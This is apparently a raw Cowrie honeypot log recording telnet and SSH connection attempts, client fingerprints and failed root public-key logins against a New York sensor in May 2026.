{"eventid":"cowrie.session.closed","duration":35.33247113227844,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:39.258771Z","src_ip":"45.58.127.90","session":"995ebae5d2f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.731138467788696,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:40.344513Z","src_ip":"45.58.127.90","session":"fb94d45db9c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":39844,"dst_ip":"159.203.135.109","dst_port":23,"session":"6704306a3b8d","protocol":"telnet","message":"New connection: 147.182.143.59:39844 (159.203.135.109:23) [session: 6704306a3b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:42.065248Z"}
{"eventid":"cowrie.session.closed","duration":36.6640419960022,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:43.602767Z","src_ip":"45.58.127.90","session":"19bf74dd5192","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.62738060951233,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:50.806496Z","src_ip":"45.58.127.90","session":"3848074cb506","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.955239295959473,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:51.247379Z","src_ip":"147.182.143.59","session":"782235998d28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34108,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1328b46e7e6","protocol":"telnet","message":"New connection: 147.182.143.59:34108 (159.203.135.109:23) [session: f1328b46e7e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:52.049123Z"}
{"eventid":"cowrie.session.closed","duration":11.51276445388794,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:53.577871Z","src_ip":"147.182.143.59","session":"6704306a3b8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.30418276786804,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:53.586459Z","src_ip":"45.58.127.90","session":"4f7de1f11b56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.97445511817932,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:56.517600Z","src_ip":"45.58.127.90","session":"a7285cc32892","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.48919987678528,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:00:56.777333Z","src_ip":"45.58.127.90","session":"300aacdb05fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.693811893463135,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:01:00.299160Z","src_ip":"45.58.127.90","session":"d4816196df0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.758259534835815,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:01:04.807271Z","src_ip":"147.182.143.59","session":"f1328b46e7e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":39482,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a9010cc867b","protocol":"telnet","message":"New connection: 147.182.143.59:39482 (159.203.135.109:23) [session: 2a9010cc867b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:01:19.843502Z"}
{"eventid":"cowrie.session.closed","duration":11.228970766067505,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:01:31.072334Z","src_ip":"147.182.143.59","session":"2a9010cc867b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":58910,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbb8b4ba2c3e","protocol":"telnet","message":"New connection: 147.182.143.59:58910 (159.203.135.109:23) [session: bbb8b4ba2c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:01:37.181215Z"}
{"eventid":"cowrie.session.closed","duration":14.950497150421143,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:01:52.131578Z","src_ip":"147.182.143.59","session":"bbb8b4ba2c3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":33848,"dst_ip":"10.17.0.5","dst_port":23,"session":"80d4fa292d7e","protocol":"telnet","message":"New connection: 180.235.129.180:33848 (10.17.0.5:23) [session: 80d4fa292d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:01:59.531569Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":33874,"dst_ip":"10.17.0.5","dst_port":23,"session":"92936f00fd2b","protocol":"telnet","message":"New connection: 180.235.129.180:33874 (10.17.0.5:23) [session: 92936f00fd2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:02.741626Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34394,"dst_ip":"10.17.0.5","dst_port":23,"session":"c61e1c03a7d9","protocol":"telnet","message":"New connection: 45.58.127.90:34394 (10.17.0.5:23) [session: c61e1c03a7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:06.359307Z"}
{"eventid":"cowrie.session.closed","duration":7.490934610366821,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:07.022359Z","src_ip":"180.235.129.180","session":"80d4fa292d7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.75236439704895,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:07.493839Z","src_ip":"180.235.129.180","session":"92936f00fd2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":45756,"dst_ip":"159.203.135.109","dst_port":23,"session":"9081d4922c25","protocol":"telnet","message":"New connection: 147.182.143.59:45756 (159.203.135.109:23) [session: 9081d4922c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:11.285095Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35676,"dst_ip":"10.17.0.5","dst_port":23,"session":"993c892c9cb2","protocol":"telnet","message":"New connection: 45.58.127.90:35676 (10.17.0.5:23) [session: 993c892c9cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:18.239830Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34528,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff5b3d21616d","protocol":"telnet","message":"New connection: 147.182.143.59:34528 (159.203.135.109:23) [session: ff5b3d21616d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:21.603841Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35686,"dst_ip":"10.17.0.5","dst_port":23,"session":"d49d5666452c","protocol":"telnet","message":"New connection: 45.58.127.90:35686 (10.17.0.5:23) [session: d49d5666452c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:25.926031Z"}
{"eventid":"cowrie.session.closed","duration":16.92077660560608,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:28.205733Z","src_ip":"147.182.143.59","session":"9081d4922c25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":55130,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2512471f72a","protocol":"telnet","message":"New connection: 147.182.143.59:55130 (159.203.135.109:23) [session: c2512471f72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:33.301564Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.227.254.170","src_port":15234,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc124b7de756","protocol":"ssh","message":"New connection: 45.227.254.170:15234 (10.17.0.5:22) [session: bc124b7de756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:33.501754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:33.507061Z","src_ip":"45.227.254.170","session":"bc124b7de756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:33.612378Z","src_ip":"45.227.254.170","session":"bc124b7de756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:34.058159Z","src_ip":"45.227.254.170","session":"bc124b7de756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.207.172","src_port":35900,"dst_ip":"10.17.0.5","dst_port":22,"session":"c04206c19b09","protocol":"ssh","message":"New connection: 62.210.207.172:35900 (10.17.0.5:22) [session: c04206c19b09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:35.852633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:35.857580Z","src_ip":"62.210.207.172","session":"c04206c19b09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:35.940191Z","src_ip":"62.210.207.172","session":"c04206c19b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.374736309051514,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:35.978452Z","src_ip":"147.182.143.59","session":"ff5b3d21616d","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:5e:82:38:65:d7:17:a7:c2:53:56:51:33:fe:4d:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBI0FPMHJSOpzPmg6sr10xi+Yayxm/4y20yi4kDY392SrORV3U9AKqcKbLbhfBuMz/4Z7iiFUL7RLyw0m9XUCKq2rMEIzVfDAp/nzECqjXWMkpngVm1JqS4kIfiv1pY2rHfpbdWYWDSUpgk+Ew/LKU2JKzXnLNhZJ+39vXha06KgYG+J7Otpe9N+/GzIo+lZGx9Ji8I0++wdFmfmSIPpQHTWZH76Dv7mq/Mfl3+HM04q/nCJB4b1WM5FoCfUkTNXjTNA/ZDUPerKdrnY7QZI1FnxoWfhGyTZhZj4xmfq04kgy9nV7lHMHwfCms+KEELMSWmLcBOuvq5NMWkiF9zyoX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:5e:82:38:65:d7:17:a7:c2:53:56:51:33:fe:4d:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:36.332283Z","src_ip":"62.210.207.172","session":"c04206c19b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:5e:82:38:65:d7:17:a7:c2:53:56:51:33:fe:4d:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBI0FPMHJSOpzPmg6sr10xi+Yayxm/4y20yi4kDY392SrORV3U9AKqcKbLbhfBuMz/4Z7iiFUL7RLyw0m9XUCKq2rMEIzVfDAp/nzECqjXWMkpngVm1JqS4kIfiv1pY2rHfpbdWYWDSUpgk+Ew/LKU2JKzXnLNhZJ+39vXha06KgYG+J7Otpe9N+/GzIo+lZGx9Ji8I0++wdFmfmSIPpQHTWZH76Dv7mq/Mfl3+HM04q/nCJB4b1WM5FoCfUkTNXjTNA/ZDUPerKdrnY7QZI1FnxoWfhGyTZhZj4xmfq04kgy9nV7lHMHwfCms+KEELMSWmLcBOuvq5NMWkiF9zyoX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:36.336978Z","src_ip":"62.210.207.172","session":"c04206c19b09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:aa:50:b1:6e:2a:76:2f:d6:a5:f3:d9:7b:85:e3:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/1Dx3DkkyvtA0BsoKnctgNire+l6X6ToE50T48OwMsMm4a1VlYMw26fG2rioACI0kIdQ/KTuMpQxBomUT2Cz/5YT+EnG0pSHIc2XC3Kd3Y1JcKLJBgok1skPZa0l7ADdkV5B5haIwA1xRC+LrVAZPCJ7JlegLfTRHPthwdOYUmVuP3c0ZxQMfShG5NXUzU3fSve1mLRAeRCEmMxsN2h7io3NrOBGXH6VQgzi/gVaX+WaCXkI6mvqH5mFYhp7iVuTl+Ws9dx7gXXCs65EciU66knuTrNEnUi/3zKQ4yJvStzTaDPsu0o9wtQh2y9eELv0QrCcBnGrACYzC9qd8Kmlz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:aa:50:b1:6e:2a:76:2f:d6:a5:f3:d9:7b:85:e3:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:36.431226Z","src_ip":"62.210.207.172","session":"c04206c19b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:aa:50:b1:6e:2a:76:2f:d6:a5:f3:d9:7b:85:e3:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/1Dx3DkkyvtA0BsoKnctgNire+l6X6ToE50T48OwMsMm4a1VlYMw26fG2rioACI0kIdQ/KTuMpQxBomUT2Cz/5YT+EnG0pSHIc2XC3Kd3Y1JcKLJBgok1skPZa0l7ADdkV5B5haIwA1xRC+LrVAZPCJ7JlegLfTRHPthwdOYUmVuP3c0ZxQMfShG5NXUzU3fSve1mLRAeRCEmMxsN2h7io3NrOBGXH6VQgzi/gVaX+WaCXkI6mvqH5mFYhp7iVuTl+Ws9dx7gXXCs65EciU66knuTrNEnUi/3zKQ4yJvStzTaDPsu0o9wtQh2y9eELv0QrCcBnGrACYzC9qd8Kmlz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:36.434681Z","src_ip":"62.210.207.172","session":"c04206c19b09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:e3:89:d2:36:bf:08:36:26:28:a2:2e:3f:b0:3c:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu+roZuOjDz6yOHKOL1Wic5RgQ9DJd5J2nsh7VTfMcsCRiYKawPX2n+lRRL82TTTFfqq1v3gMPj20mA+7lxs1XJF3dIAUVA+q7hTCgICDSts7EOe7pil2Ik42S1rTUNoExzxoDP0RNjeFb4V7PxCPQXeVVUzfvDc0fNg6v85emgLFKFbTv0diXKlNAfAR0ksgy3Jya57/hKTfov7AABB0wHcBbtofVr1rqaQlDOeH5Bf0BOLji1JRhaYNvjoIdxlPZrEgFbok02/JE/BP6q/tmvTsqGyWyqYyiP6QJl7YL7n2YKTp0p2s4/HXTAENTIbdB8VSkHXmRwvz37+VNej4J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:e3:89:d2:36:bf:08:36:26:28:a2:2e:3f:b0:3c:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:36.523623Z","src_ip":"62.210.207.172","session":"c04206c19b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:e3:89:d2:36:bf:08:36:26:28:a2:2e:3f:b0:3c:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu+roZuOjDz6yOHKOL1Wic5RgQ9DJd5J2nsh7VTfMcsCRiYKawPX2n+lRRL82TTTFfqq1v3gMPj20mA+7lxs1XJF3dIAUVA+q7hTCgICDSts7EOe7pil2Ik42S1rTUNoExzxoDP0RNjeFb4V7PxCPQXeVVUzfvDc0fNg6v85emgLFKFbTv0diXKlNAfAR0ksgy3Jya57/hKTfov7AABB0wHcBbtofVr1rqaQlDOeH5Bf0BOLji1JRhaYNvjoIdxlPZrEgFbok02/JE/BP6q/tmvTsqGyWyqYyiP6QJl7YL7n2YKTp0p2s4/HXTAENTIbdB8VSkHXmRwvz37+VNej4J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:36.528952Z","src_ip":"62.210.207.172","session":"c04206c19b09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:50:b7:45:07:de:6c:31:d7:ba:67:81:69:f3:c5:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxd/5PYrl0Ei/6Mcvgp5swl+hhZZ0HliwDQH3tm7BRfm7ArFSHKgUbqtmn+otqTBbk++HtOayoX6XVzV21Iaby33p2sZP5GVHOiUPfarsmvrA7VBAXK4O53oMAKn1GYb/IHioYQi+aCKLaL1Rxdyw6XE9k5MZTNIfWqpUSanjoJ4Yc99eKrXiJfYCmE9DKieeuEzJbWEOukmo77k5l0BEtOZ6ECiYAPVSM7P8nydgZIwGZMpqUM95REiCBjfu1MzHta9WEC6wq000XfiRrNfI37fstJEKwbDqMppDlrQJHjvPNOltNTynpW9vzY8xWAHBFc4VT4zcmX+R4Ig3ofplx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:50:b7:45:07:de:6c:31:d7:ba:67:81:69:f3:c5:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:36.612499Z","src_ip":"62.210.207.172","session":"c04206c19b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:50:b7:45:07:de:6c:31:d7:ba:67:81:69:f3:c5:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxd/5PYrl0Ei/6Mcvgp5swl+hhZZ0HliwDQH3tm7BRfm7ArFSHKgUbqtmn+otqTBbk++HtOayoX6XVzV21Iaby33p2sZP5GVHOiUPfarsmvrA7VBAXK4O53oMAKn1GYb/IHioYQi+aCKLaL1Rxdyw6XE9k5MZTNIfWqpUSanjoJ4Yc99eKrXiJfYCmE9DKieeuEzJbWEOukmo77k5l0BEtOZ6ECiYAPVSM7P8nydgZIwGZMpqUM95REiCBjfu1MzHta9WEC6wq000XfiRrNfI37fstJEKwbDqMppDlrQJHjvPNOltNTynpW9vzY8xWAHBFc4VT4zcmX+R4Ig3ofplx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:36.616187Z","src_ip":"62.210.207.172","session":"c04206c19b09","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:a4:dd:02:24:de:e3:2b:b0:06:50:e3:22:22:56:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX8VjdGKBdZ7xC9rMHZfhG02Aj1nRY7loELX/hcqQ5+R5+LXvQ/BMuYtQiHBJ+hRm6zDdMqbaPNt7vG0L1ZcfFGf84C7TDXrfS/hQcLTioeuMEk13VD71WHpOlLRa1PrRZ9p3fV9PXdAgMhCLGGMcxLuOtocBvB/5esBWx/jPR6jrX7phi9wC9K4aMSBjm1H5MAzEFLEJEbCPXguBJHowQaij/SuxOsVEFD7MqVZgfgQdt9qWQdicVne+xqKPr/eeiSGPcGRfAg0fFXo7j2DUyomgNGN2BvgJroyVStXoxaPfg9ZI1KKOOb34JuZNv8ono7MbsLpVIdOK2osOiHEtR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:a4:dd:02:24:de:e3:2b:b0:06:50:e3:22:22:56:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:37.618537Z","src_ip":"62.210.207.172","session":"c04206c19b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:a4:dd:02:24:de:e3:2b:b0:06:50:e3:22:22:56:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX8VjdGKBdZ7xC9rMHZfhG02Aj1nRY7loELX/hcqQ5+R5+LXvQ/BMuYtQiHBJ+hRm6zDdMqbaPNt7vG0L1ZcfFGf84C7TDXrfS/hQcLTioeuMEk13VD71WHpOlLRa1PrRZ9p3fV9PXdAgMhCLGGMcxLuOtocBvB/5esBWx/jPR6jrX7phi9wC9K4aMSBjm1H5MAzEFLEJEbCPXguBJHowQaij/SuxOsVEFD7MqVZgfgQdt9qWQdicVne+xqKPr/eeiSGPcGRfAg0fFXo7j2DUyomgNGN2BvgJroyVStXoxaPfg9ZI1KKOOb34JuZNv8ono7MbsLpVIdOK2osOiHEtR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:37.623024Z","src_ip":"62.210.207.172","session":"c04206c19b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:02:37.718288Z","src_ip":"62.210.207.172","session":"c04206c19b09","protocol":"ssh"}
